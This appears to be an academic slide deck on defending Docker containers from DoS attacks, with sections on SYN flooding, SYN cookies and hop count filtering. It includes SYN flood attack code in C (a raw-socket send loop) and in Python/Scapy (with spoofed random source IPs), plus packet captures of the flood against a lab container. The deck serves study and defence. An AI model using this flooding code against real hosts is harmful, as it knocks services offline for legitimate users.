

SECURING DOCKER CONTAINER FROM DENIAL OF SERVICE (DOS) ATTACKS



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INTRODUCTION


Containerization, the decomposition of applications into multiple independent containers that interact with each other over standard protocols, is becoming a more common and popular way of building large-scale applications that deal with big data.

Containers appear as micro virtual machines, more light weight and more efficient because there is just one operating system managing all hardware calls.


The main advantage of the container technology is that container can package up the environment with applications so that users can simply run the application on a new computer without having to configure and set up the environment or even the computer system.


The core technology in Docker is the Container technology. In docker operating system Kernel of the host computer will be shared by all the containers. This innovation obtains a direct and high-efficient interaction way between the host computer and containers. However, the kernel sharing principle can cause potential security hazards.

Virtual Machine Implementation



Container Based Implementation





MOTIVATION

Docker containers consists of a lightweight, standalone, executable package of software that includes everything it needs to run i.e. code, runtime, system tools, system libraries and anything that can be installed on a server.

Docker provides benefits of virtualization with improved performance as it avoids the overhead of hypervisor layer. But however the security issues have prevented Docker containers from being adopted in the production environment.

When it comes to enterprise application development, security is a major concern. With the rapid adoption of software containers concerns about efficient practices for container security also rise.

To design a security method to address Denial-of-Service (DoS) attacks and implement it to demonstrate its capability in eliminating DoS attacks.

PROBLEM STATEMENT

LITERATURE SURVEY


Technique	Main Context	Limitations
Analysis of Docker Security	The analysis of Docker Security considers its internal security and interaction with Linux kernel functions.	The prevention methods used are Linux mandatory access control methods : AppArmor and SELinux.
Assigning memory constraints to docker containers	docker run -it -m=512mb ubuntu When this command is executed, the Docker daemon runs to create a container of size 512 MB built on Ubuntu image. In this case, even when a complete memory usage program is run in the container, it just uses up the memory of 512 MB and hence system cannot be brought down.	This defense method deals with assigning specific amount of memory to docker containers while creating the container which is not feasible in all cases.

LITERATURE SURVEY


Technique	Main Context	Limitations
DoS attack method for IoT	DDoS attack in IoT systems, the result of DDoS attack changes by changing packet size.	Defense method used is to separate packages by estimating packet size.
Hop Count Filtering (HCF)	An attacker can forge any field in the IP header, he cannot falsify the number of hops an IP packet takes to reach its destination, which is solely determined by the Internet routing infrastructure. The hop count value is determined by TTL field of each arriving packet. The most spoofed IP packets, when arriving at victims, do not carry Hop Count values that are consistent with legitimate IP packets from the sources that have been spoofed.	HCF is a stand-alone scheme that works at the victim-end to defend against the DDoS but not a perfect and final solution.

What is DoS and DDoS Attack?

- A **Denial-of-Service (DoS)** is an action that prevents or impairs the authorized use of networks, systems or applications by exhausting resources such as CPU, memory bandwidth and disk space.
- DoS attacks typically function by overwhelming or flooding a targeted machine with requests until normal traffic is unable to be processed, resulting in denial-of-service to authorized users.
- A **Distributed Denial-of-Service (DDoS)** attack is a type of DoS attack that comes from multiple distributed sources.




DoS attack




DDoS attack

TCP SYN FLOODING

- A SYN flood attack is a type of **denial-of-service** which aims to make a server unavailable to legitimate traffic by consuming all available server resources.
- SYN flood attacks work by **exploiting the handshake process** of a TCP connection.
- The **half-open connections** created by the malicious client bind resources on the server and eventually exceed the resources available on the server. This effectively denies service to legitimate clients.





Normal TCP Handshake




Spoofed SYN Flood Handshake

METHODOLOGY OF SYN FLOOD



METHODOLOGY OF SYN FLOOD



SYN FLOOD MITIGATION : SYN COOKIES

- SYN cookies provide protection against SYN FLOODING attack by **not storing state about pending connection requests, or half-open connections on the server.**
- The cookies allow a server host to maintain the state of half-open connections outside its memory: such state is (partially) stored inside a cryptographic challenge, the SYN cookie.
- The SYN cookie is returned to the client within SYN-ACK segments as the server's **TCP Initial Sequence Number (ISN).**
- TCP requires the client to send back that ISN on the sub-sequent ACK, the server will be able to **restore a half-open connection from a cookie** and, consequently, create a final connection descriptor.

$$\text{TCP ISN (cookie)} = \text{hash}(\text{key}, \text{saddr}, \text{daddr}, \text{sport}, \text{dport})$$

key : timestamp(t) + max. segment size(m)

saddr : Source IP Address

daddr : Destination IP Address

sport : Source Port

dport : Destination Port



IMPLEMENTATION OF TCP SYN FLOOD ATTACK

```

while (1)
{
    //send packet
    if (sendto (s,          // socket
                datagram,   // the buffer containing headers and data
                iph->tot_len, // total length of our datagram
                0,          // routing flags, normally always 0
                (struct sockaddr *) &sin, // socket addr
                sizeof (sin)) < 0)
    {
        printf ("error\n");
    }
    //Data send successfully
    else
    {
        printf ("Packet Send \n");
    }
}

```

```

def SYN_Flood(dstIP,dstPort,counter):
    total = 0
    print "Packets are sending ..."
    for x in range (0,counter):
        s_port = randint()
        s_eq = randint()
        w_window = randint()

        IP_Packet = IP ()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_window

        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)

```

TCP SYN FLOOD ATTACK


```
//Raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096] , source_ip[32];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
```

```
strcpy(source_ip , "172.17.0.2");           //source ip


sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("172.17.0.3"); //destination ip
```


WHY RAW SOCKET?

Lifecycle of a packet



Formation of RAW socket



RESULTS

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tcp.flags.syn == 1 and tcp.flags.ack == 0

No.	Time	Source	Destination	Protocol	Length	Info
53	1.553272431	47.193.9.93	172.17.0.3	TCP	54	7708 → 80 [SYN] Seq=0 Win=8275 Len=0
55	1.601166309	26.248.38.137	172.17.0.3	TCP	54	5912 → 80 [SYN] Seq=0 Win=7738 Len=0
57	1.657069894	189.75.227.211	172.17.0.3	TCP	54	7134 → 80 [SYN] Seq=0 Win=2813 Len=0
59	1.709243829	199.104.147.0	172.17.0.3	TCP	54	1629 → 80 [SYN] Seq=0 Win=5387 Len=0
61	1.757072540	29.5.68.233	172.17.0.3	TCP	54	8387 → 80 [SYN] Seq=0 Win=4950 Len=0
63	1.829292523	168.222.209.165	172.17.0.3	TCP	54	1111 → 80 [SYN] Seq=0 Win=5938 Len=0
65	1.897259561	138.5.56.179	172.17.0.3	TCP	54	4311 → 80 [SYN] Seq=0 Win=5938 Len=0
67	1.948944784	199.122.182.254	172.17.0.3	TCP	54	3311 → 80 [SYN] Seq=0 Win=5938 Len=0
69	1.997268061	7.227.75.52	172.17.0.3	TCP	54	4511 → 80 [SYN] Seq=0 Win=5938 Len=0
71	2.053747626	5.188.196.18	172.17.0.3	TCP	54	3711 → 80 [SYN] Seq=0 Win=5938 Len=0
73	2.113214487	112.210.91.117	172.17.0.3	TCP	54	3611 → 80 [SYN] Seq=0 Win=5938 Len=0
75	2.185109352	69.166.156.18	172.17.0.3	TCP	54	4411 → 80 [SYN] Seq=0 Win=5938 Len=0

DDoS TCP SYN FLOOD
attack (multiple sources)

DoS TCP SYN FLOOD
attack (single source)

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tcp.flags.syn == 1 and tcp.flags.ack == 0

No.	Time	Source	Destination	Protocol	Length	Info
3605	0.051600812	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3607	0.051614171	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3609	0.051627690	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3611	0.051641130	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3613	0.051654443	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3615	0.051667334	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3617	0.051680492	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3619	0.051694055	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3621	0.051707105	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3623	0.051720019	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3625	0.051733557	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3627	0.051747594	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3629	0.051761095	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0
3631	0.051774394	172.17.0.2	172.17.0.3	TCP	54	[TCP Retransmission] 1234 → 80 [SYN] Seq=0 Win=0 Len=0



CONCLUSION AND FUTURE WORK

Rising popularity of Docker engine for simplifying and streamlining containerization has bolstered container-based development in IT industry. Containers present a golden opportunity in baking security into software development and operations processing.

Hence containerization has gained a lot of attention. However the container security obstruct the rampant and confident usage of containerization. Therefore infrangible and impenetrable security solutions are being solicited.

Implementation of HCF and SYN Cookies together might be useful in successfully mitigating the DoS and DDoS attack.

THANK YOU!!!

